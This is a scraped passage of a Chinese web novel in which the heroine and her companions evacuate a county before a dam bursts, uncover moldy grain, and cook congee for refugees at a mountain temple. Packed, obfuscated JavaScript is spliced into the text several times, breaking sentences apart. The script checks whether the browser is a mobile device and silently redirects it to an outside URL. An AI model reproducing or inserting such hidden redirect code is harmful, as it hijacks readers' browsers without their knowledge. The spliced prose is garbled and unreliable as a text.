d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817707|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地摇摆着。 “客舱漏水了，快拿木盆来接。”王蒲沉着冷静，指挥众人紧急抢险。 船把头及众水手把控航向，书生们则迅速将木板和衣物塞进缝隙，试图堵住漏洞。 行路虽难，但他们信心坚定。 出乎意料的是，在倾盆暴雨中，竟有一叶扁舟向客船靠拢。 “什么人？”栾小将军目光如电，如猎鹰盯着猎物般锐利地扫过去。 他握紧手中长枪，稳立船头。 尽管客船随着波涛剧烈起伏，他却背脊挺直，双腿如同扎根在甲板上一般，纹丝不动。 “是楚淮船帮的船。”船把头一句话打消了他的疑虑。 小舟靠近，一位身着深黑色油布雨衣的男子登船。 那油衣披风表面涂抹了一层桐油，在雨水冲刷下，颇具神秘色彩。 男子身形优雅，行进间雨衣下摆飘动，仿若一朵在雨中摇曳的花。 尽管雨水模糊，帽兜阴影遮住面目，使人无法窥探容颜。 但他暴露在外的脖颈，却如天鹅般修长白皙。乌发被雨水浸湿，垂落在脸颊两侧，更添几分楚楚动人的韵味。 让人不禁遐想连篇。 栾霜柏看向这位贸然登船的不速之客。 他向前半步，筑起一道坚实的屏障，不动声色地将桂枝儿掩藏于安稳位置。 男子掀开帽兜。 “是我。”他声音温婉妩媚，嘴角含笑。 在黯淡的雨中，男子眼尾点染着的桃花胭脂，娇而不俗，恰到好处地晕染出一抹风情。 艳丽无双。 他看向桂枝儿，长睫如扇般颤动。 “小谢公子！”桂枝儿惊喜地喊道，越过栾小将军，快步向前。 栾霜柏眼眸微眯，紧盯来者。 狭长的眼缝间，有寒光一闪而过，表情冷了几分。 他握着红缨长枪的手不自觉地收紧，指腹摩挲着枪杆，发出的声响微不可闻。 小谢探花不在楚淮当他的乐府令，来这里作甚？ 他和桂姑娘，很熟？ 85. 暗流涌动 谢鸢含笑望着桂枝儿。 数月未见，他依旧风姿绰约，不因暴雨折损分毫美貌。 “这般天气，水路太过凶险。”他未作寒暄，径入主题，“客船不可途径蠡县境内，须换乘快马，绕武进道而行。” 他晃了晃手中令牌，船把头立即便知是樾王的意思。 栾霜柏撑起漆黑宽大的油布伞，将其挪到桂枝儿头顶。 伞边缘的雨水如断了线的珠子般，纷纷扬扬朝对面洒落，谢鸢猝不及防被淋了个正着。 “怎么劳烦公子特意来传信？”栾小将军语调温和，似乎适才只是无心之举。 “吾素谙楚淮地貌，可带诸位循小径北上。”谢鸢并不介意，眼眸却单单瞥向桂枝儿，顾盼生情。 他作为乐府令采集民间歌谣，走动频繁，附近的山川河流样貌皆了然于胸。 桂枝儿对二人间的暗流涌动视而不见。 她敏锐地察觉到了问题：“即使换陆路，也没必要绕远，为何独独回避蠡县？” 区区一个小县，难道还有朝廷的兵马不成？ “非为隐匿行迹。”谢鸢怔楞一瞬，叹了口气，艰难地答道。 “蠡县，大难将至。” 一道闪电骤然亮起，江水在瓢泼大雨中，以惊人的速度不断上涨，浊浪头拍打江岸。 形势危急，小谢公子三言两语道明缘由。 隔壁清野州春汛成灾，圣上采纳谏官建议，修筑河提。 赈灾的银两被层层贪污剥削，莫说拨给修河劳工口粮，就是采集土料石料的经费都支付不起。 都水监一拍脑袋。 “修不起，咱就挖一挖，把河流改道，引到旁的州府去。” “真是个大聪明！”桂枝儿眉心蹙起，哭笑不得。 按理讲，修筑河提所耗费的人力物力比河流改道要少。可这都水监摆明了不会重新规划水系，不顾地形地势。 配套的分水堰、节制闸？什么都没有！ 只需挖个沟，埋点土。 让洪水别在清野州闹出是非，惹圣上不满就行了。 至于旁的水系死活，谁在乎？ “蠡县蓄水库，不仅被迫承受了途径清野州的春汛融水，加之连日暴雨，已在溃提边缘。” 谢鸢薄唇微微颤抖，面色愈发凝重。 “嘶。”众人倒吸一口冷气。 蓄水库往往在平原地形低洼之处，堤长数十里，水域广袤。 顶高三十余丈，塘底之深，亦有二十余丈，库容可达数千万石之巨。 一旦溃提，后果不堪设想。 “此地百姓，可知大祸将至？”一道声音突兀地插了进来。 桂枝儿等人回头，只见书生们零零散散站成一排，素色长衫在狂风肆虐下猎猎作响。 尽管暴雨打得他们面庞生疼，但依旧身姿笔挺。 为首的王蒲拄着拐杖，如苍松翠柏般傲立不倒。 雨水顺着他的发梢、脸颊滑落，浸湿的衣衫紧贴在身，他欲言又止，喉结上下滚动。 “吾辈读书，志在匡世济民，安能对生死漠然不顾？” 他并非想借道德去胁迫他人，只是—— 此言不吐则不快于心。 “那，咱们就去通知一下？”桂枝儿征询众人意见，她神色悠然，仿若在问今夕加餐何食。 “先生……”王蒲愕然。 积水从油布伞的边缘落到甲板上，汇聚成溪流，溅起一朵朵晶莹的水花。 桂枝儿平静地站在伞下。 经历的世界越多，情绪会越麻木。 可只要在某处赚取了美食进度，她就做不到完全见死不救。 她是人，而非被系统完全剥离感情的任务机器。 栾霜柏与谢鸢对视一眼，目光交汇，似有电光闪过，在无声中达成了短暂的默契。 小将军身形一闪，如鬼魅般迅速伸出右手，一把堵住船把头将欲反驳的话语，动作干脆利落。 与此同时，谢鸢也跨前一步，左手轻轻搭上船把头的肩膀，以示安慰。 “先听听桂小娘子如何安排。” “先听桂姑娘说。” 被捂嘴的船把头额头上青筋暴起： 主上只命我保护桂小娘子安危，你俩凑什么热闹啊！ 桂枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861547|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的计划清晰明了。 一队，以小谢公子为首，探探当地县令及主政长官的口风，必要时假传圣旨，勒令危险区域百姓转移。 二队，由栾小将军带头，借助驻军力量，保障行动安全。 三队，则是桂枝儿领衔，抢救粮食财产。 “时间紧，任务重。”桂枝儿扫视着滔天江水，随着船身的起伏，神情丝毫不显慌乱。 “我只提醒一点，人各有命。”她语调里带着不容置疑的果敢。 “不信者，不必强求。” 书生们紧紧握拳，脸颊因用力而微微泛红。 他们还没有完全领会桂枝儿话中深意，自幼饱读诗书，心怀天下苍生，终于能付诸行动。 此情此景，唯有亢奋，以及从阎王手中夺人的紧张感。 一切就绪，兵分三路。 “着实胆大妄为！”船把头地无奈地嘟囔了一句，脸上的皱纹愈发深了，刀刻斧凿一般。 他寻到一处河岸缓坡，准备好绞车和绳索。 伴随“吱嘎”声，慢慢收紧的绳索将船拉向岸边。 水手们麻利地在船舷和岸边垫上木板，众人相继下船。 直至踏入蠡县境内，书生们的满腔热血才凉了三分，发觉事情远没有想象中那么简单。 蠡县县衙位于城之中央，正门高悬“明镜高悬”匾额。 县令听闻杭京派的督台前来察职事之情，吓得火速从厢房爬起来，套上一身略显陈旧的官服。 两撇稀疏的胡须，像是霜打的枯草，蔫蔫地垂挂在嘴角。 “下、下官定当全力配合督台大人，还望您多多指教！”他脸色苍白如纸，抬手擦了一下额头上豆大的汗珠。 他双眼细小，闪烁着怯懦光芒，好似受惊的老鼠。 “只是这水、水库不归蠡县管辖，此事须呈于知府核批。再者，百姓众多实难遍管，若要迁徙，实在是力有未逮……” 蠡县县令蜷缩着脖颈，两只手不自觉地在身前搓动。 好似这样就能将麻烦搓走。 说来说去，中心思想就一句话—— 要不，咱们再等等？ 86. 米仓发霉 一请示，二汇报。 知府批文，再登堂聚议。 十万火急的时候，还说这些画蛇添足的废话。 涉世不深的书生们眉头蹙起，眸中怒火跳跃。为免暴露身份，他们将几欲脱口而出的指责，强咽回腹中。 一时竟不知如何是好。 大梁有此等只顾推卸责任的冗官，国之兴盛，安可得乎？ “郡县的吏事规程，我们不掺合。”谢鸢不紧不慢地将身子往后一靠，歇在雕花楠木椅背上，端起茶盏。 “督台办案，只看结果。” 他嘴角轻扬，绽出一抹笑意，似春日微风拂湖面，轻柔又平和。 接下来的话语，却让蠡县县令再也无法推诿扯皮。 “堤溃者，斩。 若溃堤致百姓死伤众多，当诛其九族。” 他悠哉地抿了口茶，放下茶盏，双手交叠于腹前。 他语调波澜不惊，却字字如重锤，透着一股不容置疑的威严，敲打着下官的心。 “刷！”栾霜柏与船把头很配合地拔出了剑。 前者身着一袭藏青色的软甲，蓄势待发，后者披着深黑色雨衣，面色狠厉。 二人举手投足间难掩周身肃杀之气，似利刃，随时可出鞘制敌。 吓得县令一哆嗦，险些瘫倒在地。 他瞳孔急剧收缩，嘴唇不受控制地颤抖，想要开口说话，半晌才挤出一句来。 “还望督台大人救我，救我！” 县令的身子如筛糠般瑟瑟发抖，双脚像是被钉在地上，动弹不得。 他早就听说了圣上重视水患，但蠡县并非清野州管辖范围，自以为可高枕无忧。 万万没想到，朝廷会拿他开刀。 “本官已勘探地形，城外东北高地有山丘。”谢鸢了如指掌，“山顶寺庙避开了地势低洼，可容纳千人。” 蠡县县令此刻更加深信不疑。 若非是杭京派来的督台，怎会如此明察秋毫？ 更何况，随行的文官武将皆气宇轩昂，不似有假。 “烦请县尊大人出一钧令，遣本邑驻军，襄助百姓转移之事。”栾霜柏收剑回鞘，沉稳有力地说道。 对此要求，蠡县县令亦是点头如捣蒜。 唯独在提及转运粮食时，他那两撇稀疏的胡须一惊，跳了一下。 待进入米仓后，桂枝儿便发现其中猫腻。 米仓坐北朝南，墙砖表面斑驳粗糙，推开宽厚的榆木大门，“吱呀”声响彻寂静的空间。 桂枝儿忍不住嗅了嗅。 饱满的米粒带着淡淡稻香，正是新米散发出的清甜味道。 可隐约间，还有一股酸涩和腐朽的气息。 她脚步猛地顿住，鼻翼翕动几下，试图分辨这怪味的来源。 冷风从雕花石头镶嵌的通风口吹进来，穿过高耸如小山丘的粮囤，保证了空气的流通。 这味道是从哪里来的？ “大人，此乃仓廪出入之账目。”主簿与仓吏手忙脚乱，一路小跑着跟在桂枝儿身后，脸上强挤出笑容。 但愿那些篡改的入库单，虚报的称量记录不会被发觉。 桂枝儿翻开账本，密密麻麻的蝇头小字扑面而来。 “嗯……”她沉吟片刻，不置可否。 说实话，她看不大懂。 稻米、糙米、粟米等不同种类的粮食，无论入库与出库，俱都搅成一团。 像是被倒入同一个大缸，分不清楚各自的去向和余量。 查账这种事，对厨子来说还是太过复杂了。 桂枝儿走到粮囤前，不等仓吏打开粮袋让她验收，抬手便是一刀。 短刃直直地扎进粮袋下半部分。 伴随着“簌簌”声，刹那间米糠飞溅，她手腕轻巧一旋，将刀转出，带出一小簇米粒。 主簿与仓吏顿时冷汗直流。 粮袋顶部的大米色泽晶莹、颗颗均匀，是专供上官们来查验的。 只要略微探头，即可轻易看到。 可桂枝儿扎破的地方，潜藏在底部。 那些飞溅出来的米粒，有的被腐蚀，变得松软易碎，有的受潮发霉，甚至呈现出灰绿相间的斑点。 腐臭的气息，正是从这里冒出来的！ “以次充好？”桂枝儿挑了挑眉，手中把玩着短刀。 她一眼看透这种见不得光的小把戏，把优质粮食盗走，填充劣等货色。 其中差价，自然被贪官污吏中饱私囊。 她动作娴熟自然，将锋利的刀刃对准主簿咽喉，双眸似寒星般锐利，透出一股狠劲儿。 “大、大人饶命！”主簿恨不得扑通一声跪倒在地，但碍于脖子间寒光闪烁的刀，双膝刚欲下沉又僵在半途。 “小的兢兢业业，依着先前惯例操办，不知……” “嘘。”桂枝儿示意他安静。 现在不是彻底清算的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881252|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候，一切为抢险救灾让步。 桂枝儿指挥面若死灰的二人，挑出质量合格的米袋，等候驻军搬运。 存粮有限，能撑一天是一天。 天色愈发暗淡，乌云如墨般翻涌。 狂风乍起，吹得街边店铺的幌子“啪啪”作响，店门已关，雨水依旧顺着缝隙不断渗入屋内。 湍急的水流砸在青石板路上，汇成小溪奔涌而去。 转移通告已发，急促的敲锣声“当当当”响个不停。 仿佛是生死警钟。 “阿大，行李也不让咱多带。”妇女紧张地收拾着衣物和细软，泪眼汪汪，“家里头那些值钱东西要是被偷掉唠，哪个来管啊？” 官府真是不讲道理！ 男人挽起裤脚，裸露的小腿上青筋暴起，他匆匆将重物扛上肩头，再一只手抱起嗷嗷待哺的孩子。 “要是被水淹了，可就连命都没得了。” 他咬咬牙，向门外走去。 妇女的担忧不无道理。 “有贼啊！抓贼！”愤怒的喊声穿透了暴雨的嘈杂。 街角杂货铺的老板揪着一人耳朵，从店里冲出来，顾不上湿透的衣裳，一边奋力挥舞手臂，一边扯着嗓子怒骂。 “这地痞以为老子已经走了，竟敢钻进厢房翻东西！” 尚未撤离的百姓迅速披上蓑衣，抄起棍棒等简易武器，严阵以待。 而那被捉了现形的地痞，脸颊满是污垢。 “哎呦哟哟，轻点儿！”他歪着脑袋，不死心地扭动着身体，嘴里发出杀猪般的嚎叫。 地痞裂开嘴，牙齿泛黄且残缺不全，脚下草鞋也掉了一只，露出脏兮兮的脚丫子。 “何人在此闹事？”栾霜柏打断这场闹剧。 他面色严肃，深邃的双眸中透着不容置疑的威严，软甲在雨水的冲刷下，泛着冷冽的光。 闹哄哄的百姓，不由自主地安静了下来。 “报告军爷，这人是咱街上出了名的二赖子。”杂货铺的老板点头哈腰回道，“以为咱转移了，家中无人，竟敢进来偷东西！” 趁乱发不义之财。 听闻此言，正在收拾行李包裹的围观百姓，顿时心生犹豫，手脚慢了半拍。 眼下虽然雨大了些，但蠡县每年都会经历梅雨季节。 也没见水库真决过堤。 可这些小偷小摸的贼子不除，他们早走一刻，岂不就要多损失一份钱财？ 87. 生姜红糖 栾霜柏的目光陡然间变得凛冽起来，他勒住缰绳，翻身下马，大步流星地朝着两人走去。 “店家所述是否属实？”他厉声问道。 “军爷您瞧，我这不就是顺手牵羊拿点零碎物件儿嘛。”眼见人赃并获，地痞不再狡辩，“大不了进牢里蹲个几天，您请高抬贵手……” 他满脸堆笑，用脏兮兮的袖子抹了把脸上的灰。 语气里满是讨好，又带有几分油滑。 栾霜柏不语，只将手中红缨枪一抖，枪杆如灵蛇般重重地抽打在他的身上，发出一声沉闷的声响。 “啊！”地痞惨叫不止，身体如断线的风筝般飞出去，重重地摔在地上，溅起一片水花。 那地痞口吐鲜血，气息奄奄，似乎是活不成了。 “把他抬上驴车，一并带走。”栾霜柏冷漠地挥挥手，转身不再理会。 围观百姓既觉得解气，又恐惧于官府的雷霆手段，不敢再拖延，纷纷加快了收拾行李的速度。 人们披蓑衣、戴斗笠，冲进雨幕中。 在军士的指挥下，排成绵延长队，向城外挪动。 “这小贼虽可恶，但到底罪不至死。”纤细娇弱的女举子心地善良，忍不住小声嘀咕了一句。 “乱世当用重典。”王蒲虽不赞同私刑，但出言劝慰道。 怀有书生意气，诚为美善，然涉世之际，尤当摒弃学子思维。 人群外，桂枝儿拢紧身上雨披，嘴角挂着一抹浅浅的笑意。 栾霜柏的一枪，从肋骨间隙的期门穴，抽到上腹部胃脘穴，气血紊乱和肝脾损伤是跑不掉的，但远不到致死的地步。 小将军，愈发成熟稳重。 而书生们这边，任务依旧繁重。 晓谕百姓，实非易事。人们安于故土几十载，哪怕明知水患来临，恐遭凶险，却踌躇不决，难下离乡的决心。 “一群不孝子！你们想把我这把老骨头扔到哪里去？咱祖祖辈辈都在蠡县，老汉儿我宁可死在这儿！” 白发苍苍的老人紧握着拐杖，双目圆睁。 他倔强地不肯动弹，声音嘶哑。 两个儿子站在一旁，脸上茫然无措。 “爹，咱就随大家伙儿走吧，快不及了！”小儿子的声音带着一丝哀求，语气中满是惶恐与关切。 屋外，狂风裹挟着暴雨呼啸而来，肆意地拍打着简陋的房舍，吹得门窗“砰砰”作响。 豆大的雨点砸在屋顶，敲得人心惊胆战。 “哼！你们就是想害我，就是不孝！”老人根本不听劝说，反而挥舞拐杖，骂得更凶了。 连带着前来劝说的文静女书生，也挨了好几棍子。 女书生发髻高挽，几缕碎发被雨水打湿，贴在白皙的脸颊上。 她眼神中闪过一丝焦急。 泪水在眼眶中打转，她狠狠咬着下唇，双手不停地在身前绞着衣角，不知该如何才能说老人。 “想活的人不少，想死的头一次见。”桂枝儿从窗外探头，笑语盈盈。 她强硬地拽着女书生的臂膀，二话不说直接拖出了门。 “哎……”女书生于心不忍，频频回头。 “早就告诉你了，人各有命莫强求。”桂枝儿眼中丝毫不见怜悯之色，反而透露出一丝审视与冷酷。 泛滥的同情心，往往毫无作用。 “倘若你在此耽搁时辰，被洪水淹死，你的家人会作何感想？” 女书生不由怔住，脸色变得更加难看，苍白中透着铁青。 她体质较弱，此刻被桂枝儿强拉着，呼吸急促，豆大的汗珠与雨水混杂在一起，艰难赶路。 人教人百言无用，事教人一次入心。 “为啥弗等老汉儿？简直草菅人命！造孽呦！”那执拗老叟见无人劝说，反而拄着拐杖主动出门了。 一边念叨，一边追逐转移的人群。 蜿蜒的队伍向城外东北高地挪动，像一条细长的黑线。 世界被笼罩在一片白茫茫的雨幕之中。 城外的山丘寺庙，门楣上悬挂着一块古朴的牌匾，曰——大善福慧寺。 大殿屋顶的脊兽，历经岁月侵蚀，已有多处裂痕与磨损。 铃铎在风雨中发出清脆声响，庄重肃穆。 寺门“吱呀”一声缓缓打开。 “阿弥陀佛，诸位施主请入寺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900446|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内避雨。”身披陈旧袈裟的老方丈，迈着蹒跚的步伐走了出来。 他双手合十，微微欠身。 老方丈面容清瘦，颧骨略微突出，他身上的袈裟颜色暗淡，上面还打着不少补丁。 方丈眼神温和，仿若一泓澈水，流淌着慈悲与宁静。 我佛慈悲，必将护佑众生，度此劫难。 “菩萨保佑。”百姓们拖家带口，互相搀扶着踏入了庙门。 他们脸上透着疲惫与憔悴，污泥溅了半身，在昏暗的天色下显得格外狼狈。靴子里灌满泥水，走路发出“噗嗤噗嗤”的声响。 更要命的是，肚子已经饿得咕咕叫了！ “阿大，快歇歇，吃点干粮吧。”妇女心疼地铺下简陋草席。 男子嘴唇发干，怀里的孩子小脸亦是冻得通红，眼神中充满了恐惧和迷茫。 虽然官府说会提供斋食，可眼下实在饿得胃疼。 众人抚摸着干瘪的肚子，心生焦虑。 香积厨在大雄宝殿东侧，内有砖石砌成的大型炉灶。 几个约莫八九岁模样的小沙弥，剃得溜光的脑袋，脸蛋圆润可爱，正好奇地望着桂枝儿和两个小学徒。 小沙弥穿着僧袍，脚踩麻鞋，热心地打开水缸。 “施主请喝水。”小沙弥一对漆黑如墨的大眼睛，清澈明亮。 除了过盂兰盆节和办观音诞法会时，他还是头一次见这么多人聚集在福慧寺。 “好孩子。”桂枝儿揉了一把他光滑的脑袋。 她掏出几颗深褐色的小红糖块，给孩子们一人分了一颗。 甜滋滋的味道瞬间俘获了小沙弥的心。 桂枝儿预估了一下空间内食材存量，准备补贴点红糖，做些生姜红糖粥与葱白粳米粥。 红糖性温，与生姜搭配，可达到驱寒的效果。 在这骤雨倾盆的极端天气，寒湿之气侵体，人们易感伤寒等疾病。 若是发展成肺痈，那可就遭了。 “小师父，劳烦你们帮我个忙，将生姜洗净。”桂枝儿微微欠身，面带微笑，轻声请求道。 斋食的需求量太大，仅靠她与两个小学徒应接不暇。 88. 针锋相对 活泼的小沙弥们连声答应，双手合十，圆圆的脸上露出乖巧之色。 香积厨的木门半掩着，透出微弱烛光。 已是傍晚，下了一天的雨总算喘口气，停了下来。 门前青石台阶上，还残留着一汪积水，倒映着天空中稀疏的星星。 “唰唰。”马尾辫女孩提刀，动作娴熟地将生姜切成薄片。 她的刀工突飞猛进，姜片大体薄厚均匀，浅棕色的外皮带些粗糙质感，嫩黄色的姜肉则色泽明亮。 “哗啦。”力气见长的小男孩提起木桶，将水缓缓倒入锅中，发出清脆悦耳的声响。 淘洗干净的米在水中翻滚跳跃。 “开火！”桂枝儿用火镰快速撞击火石。 火星落在火绒上，她轻轻一吹，大灶台的灶膛内，事先安置好的柴草便猛烈燃烧。 暖意驱散了夜晚的寒冷。 一口锅内，姜香与米香弥漫交融，粥逐渐变得浓稠。 桂枝儿后加入的红糖慢慢融化，通过搅拌，红糖完全融入粥中，那香甜的气息愈发浓郁。 另一口锅内，几根新鲜的葱白与粳米也在经受熬煮。 桂枝儿耐心地转动着木铲，目光始终专注在锅中。 “灾民众多，纵使每人只得一碗粥，屯粮也撑不了多久。”将百姓安顿就绪的栾小将军匆匆寻来，忧心忡忡。 他身体靠着门框缓缓坐下，修长的腿伸展着。 手中的长枪无力地垂落一旁。 被雨水浇透的少年胸膛剧烈起伏，雨水与脸上的汗水混在一起，毫无体面可言。 他张开干裂的嘴唇，舌尖舔了舔嘴角。 “船到桥头自然直，先喝口热粥暖暖身子吧。”桂枝儿贴心地为他盛出一碗。 热气腾腾的粥，足以抚慰灵魂。 粥的热度透过碗壁，传递到栾霜柏冰冷的指尖。 他不禁打了个颤，随后又贪婪地用双手捧紧，感受这来之不易的温暖。 他轻吹热气，抿了一口粥。 生姜的辛辣和红糖的饴甜在口中释放，顺着喉咙缓缓而下，让苍白的脸色泛起些许红晕。 栾霜柏瞬间坐直了身子。 他又喝了几口，动作逐渐加快，仿佛对于安置灾民有了信心。 大善福慧寺的大雄宝殿内，佛像端坐莲花宝座，袅袅檀香从炉中升腾而起，悠悠飘散在空中。 老方丈带领众僧跪于蒲团上，轻捻佛珠。 随着清脆的木鱼声，僧人们双手合十，嘴唇微微翕动。 “娘，俺饿。”哭诉声微不可闻。 身形单薄的妇女一把捂住小女孩儿的嘴，罪过罪过。 即使大家的肚子都饿得咕咕作响，有官兵威慑，无人胆敢造次。 官府许诺提供斋食，究竟是真是假啊？ “来分粥了，大家都排好队，莫要拥挤！”栾小将军重振旗鼓，声音显得有些沙哑，却带着不容置疑的威严。 灾民们顿时眼前一亮，不顾疲惫，欢喜地从草席上爬起来。 粥桶旁，桂枝儿拿起大勺，用力搅拌。 米粒在搅动中上下翻滚，散发出无比诱人的香气。 瘦弱的小女孩儿紧紧拉着娘亲的衣角，眼神直勾勾地盯着粥桶，不停地咽着口水。 只见那浓稠的生姜红糖粥泛着橙红色，甜蜜辛香。 百姓们小心翼翼地接过一碗，顾不上烫，直往嘴里倒。暖意流淌到胃，全身都变得热乎乎的。 “多谢小娘子！”妇人连连道谢。 另一桶葱白粳米粥，也毫不逊色。 晶莹剔透的米粒若隐若现，葱白微浮，如翡翠点缀其中。 “哎呦，真香！”任谁端起碗，深吸一口气，都会迫不及待地喝上一口。 再满足地咂咂嘴，回味无穷。 寺庙外，雨又淅沥沥地下起来了。 但屋内的百姓们却被这两碗热气腾腾的粥温暖着，围坐在一起闲话。 “嘀，系统提示：任务进度99.3%。” 有米下锅，天下太平。 桂枝儿的欣慰之情并未保持多久。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14969246|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >吃饱喝足，部分百姓们便在暗中嘀咕起了水患决堤之讯。 “老汉儿我居此数十载，水库向来稳固，怎会无端决堤？” 执拗老叟用拐杖戳着两个儿子骂道。 大儿子面露愧色，嗫嚅着想要解释却又不敢违抗父亲。 “是啊，夏季梅雨本属常见，这消息怕是不实。”众人你一言我一语，神色狐疑。 总觉得事有蹊跷。 “哼，就该听我的，在庙里过一夜咱就回家。”老叟见有人附和，为自己的英明决策感到得意。 他把拐杖往腋下一夹，扬起下巴，带着几分傲慢地晃了晃脑袋。 “这算不算吃饱了骂厨子？”桂枝儿乃习武之人听觉灵敏，见此情形哭笑不得。 年轻的书生们原本洁净的长衫沾满污泥，下摆甚至被沿途荆棘撕裂。 疲惫与憔悴刻在眉眼间。 多亏他们平日坚持锻炼体魄，这才不至于脚步虚浮踉跄。 即使如此，不少人的双手也因搬运行囊、救助百姓，布满伤口与淤青。 此刻一碗热粥刚下肚，听到非议声，胸膛不免剧烈起伏。 有人喘着粗气道：“真乃狗咬吕洞宾——不识好人心！” “人多口杂，基层理政殊为不易。”小谢公子手拢衣袖，踱步而来。 他的声音不复往日清朗悦耳，带着几分喑哑与吃力，可见沟通上下的艰辛。 “若是场面失控，谢某定会护姑娘周全。” 他直视桂枝儿，话语里的关切之意分毫未减。 殿内几盏松明烛散发着黄色的光晕，火苗随风摇曳，映照出男子的面庞。 眉眼如画，墨发如瀑。 “督台大人，县令老爷急着找您商议囤粮之事呢。” 一句话突兀地横插进来。 二人回眸，栾霜柏大踏步走来，漫不经心地把红缨长枪的枪纂往地上一放。 “哐当”一声，惊得谢鸢眉尖微挑。 桂枝儿左看右看，总觉得——小将军好像，对小谢公子有意见？ 89. 做素烧鹅 “非也。”栾霜柏倚着长枪，撇撇嘴道，“小爷是看不上他们整个谢家。” 面对桂枝儿的不解，少年桀骜不驯地耸了耸肩。 天宥年间，大梁朝廷将相和睦。 直到新帝弑兄杀侄篡位，梁将军一代将星也受牵连，就此陨落。 而三朝元老的泗水谢氏，却选择了投诚蛰伏。 “所谓文人风骨，徒为口说而已。”栾霜柏压低了嗓音，“谢家亦是两头押注。” 若新帝能容人，则效忠。 反之，则勾连樾王。 “携汝等一路北上，必是为了讨好樾王。”栾霜柏忍不住伸出手揉了揉桂枝儿的脑袋，“当心点儿。” 少女的发丝柔软如绸，他的手掌微微停留，指尖摩挲。 像是在安抚一个不谙世事的孩童。 殿外廊下，雨水顺着檐角不断滴落，形成一串串水帘。 檀香的气息融入雨中。 “嗯。”桂枝儿皱了皱鼻尖哼道。 她觉得有些无趣。 官场历来风云变幻。 今日东风压倒西风，明日西风压倒东风，与赌博无异。 一旦押错宝，全盘皆输。 孰能保己为常胜者乎？ 她凝视着少年的侧脸出神。 小将军挺直的鼻梁下，唇角紧抿，透着与年龄不相符的沉稳。 那蹙起的眉峰，似藏着对边疆战事的忧虑。 夜风拂过，少年几缕碎发轻扬，平添几分孤寂与英气。 只是耳根不知为何，在桂枝儿的注视下，染上了几丝红晕。 “小将军回北境后，便打算投诚于樾王麾下？”桂枝儿好奇地问道。 也许会与他的先祖一般。 从此南征北战，直至一统大梁。 栾霜柏诧异地愣住，张了张嘴。 话音未出口，便被一阵巨响吞噬。 浪涛如千军万马奔腾般，汹涌咆哮着席卷而来，拍击声震耳欲聋，瞬间淹没了一切。 两人对视一眼，面色骤变，足尖轻点地面，借力腾身而起。 身姿矫健，稳立在古寺屋檐之上。 “什么动静啊？” “遭了，该不会真发大水了吧！” 伴随着孩童的惊啼声，妇女脸色煞白，只有个别胆子大的后生，探着脑袋向山坡下看去。 目之所及，洪水裹挟着泥沙、房梁，被连根拔起的树木在浪尖上浮浮沉沉。 所到之处，摧枯拉朽。 在大自然面前，人类渺小如草芥。 蠡县蓄水库溃堤，水漫过田野，淹没村庄。 众人避难的福慧寺，此时被洪水围拢成了一座孤岛。 原本志得意满的老叟，见此情形，浑浊的双眼猛地瞪大。 腋下拐杖“啪嗒”一声掉落在地。 “这、这可如何是好，老天爷啊，你造的什么孽！ 桂枝儿与栾霜柏登高望远，两人对视一眼，心生后怕。 若是转移行动再拖延一天，只怕神仙难救。 “咱们得收拢一些雨水和山顶泉水。”桂枝儿伸手，几滴雨珠砸在手心，色泽晶莹。 洪水肆起，畜兽之尸、秽物粪便皆入于水。 一旦百姓饮用了这些不干净的水，痢疾、霍乱等疾病便有了可趁之机。 “好，姑娘且放心，我这就安排。”栾霜柏坚定地点头。 今夜注定难以入眠。 寺庙香积厨内所有的陶罐、木盆、瓦缸，都在庭院中一一摆开。 叮咚的雨滴敲击声，搅得人思绪如麻。 